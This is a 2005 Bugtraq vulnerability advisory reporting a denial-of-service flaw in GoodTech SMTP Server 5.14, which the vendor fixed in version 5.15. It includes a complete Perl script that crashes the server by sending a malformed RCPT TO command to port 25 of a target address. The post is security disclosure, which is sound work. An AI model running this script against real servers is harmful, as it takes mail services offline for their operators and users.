[39088] in bugtraq
Denial of Service vulnerability in GoodTech SMTP Server for Windows NT/2000/XP version 5.14
daemon@ATHENA.MIT.EDU (Reed Arvin)
Tue Jun 7 16:32:23 2005
Message-ID: <80115b69050607131822f6eb62@mail.gmail.com>
Date: Tue, 7 Jun 2005 13:18:43 -0700
From: Reed Arvin <reedarvin@gmail.com>
Reply-To: Reed Arvin <reedarvin@gmail.com>
To: bugtraq@securityfocus.com, full-disclosure@lists.grok.org.uk,
vuln@secunia.com, news@securiteam.com
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Summary:
Denial of Service vulnerability in GoodTech SMTP Server for Windows
NT/2000/XP version 5.14
(http://www.goodtechsys.com/)
Details:
Input to the RCPT TO command is not properly checked and/or filtered.
Issuing a single character 'A' as an argument to the RCTP TO command
will cause the smtpd process to die.
Vulnerable Versions:
GoodTech SMTP Server for Windows NT/2000/XP version 5.14
Patches/Workarounds:
The vendor has released version 5.15 to patch the affected software.
It is available at http://www.goodtechsys.com/.
Exploit:
Run the following PERL script against the server. The process will die.
#===== Start GoodTechSMTPServer_DOS.pl =====
#
# Usage: GoodTechSMTPServer_DOS.pl <ip>
# GoodTechSMTPServer_DOS.pl 127.0.0.1
#
# GoodTech SMTP Server for Windows NT/2000/XP version 5.14
#
# Download:
# http://www.goodtechsys.com/
#
###########################################################
use IO::Socket;
use strict;
my($socket) = "";
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "25",
Proto => "TCP"))
{
print "Attempting to kill GoodTech SMTP Server at $ARGV[0]:25...";
sleep(1);
print $socket "HELO moto.com\r\n";
sleep(1);
print $socket "RCPT TO: A\r\n";
close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:25\n";
}
#===== End GoodTechSMTPServer_DOS.pl =====
Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)
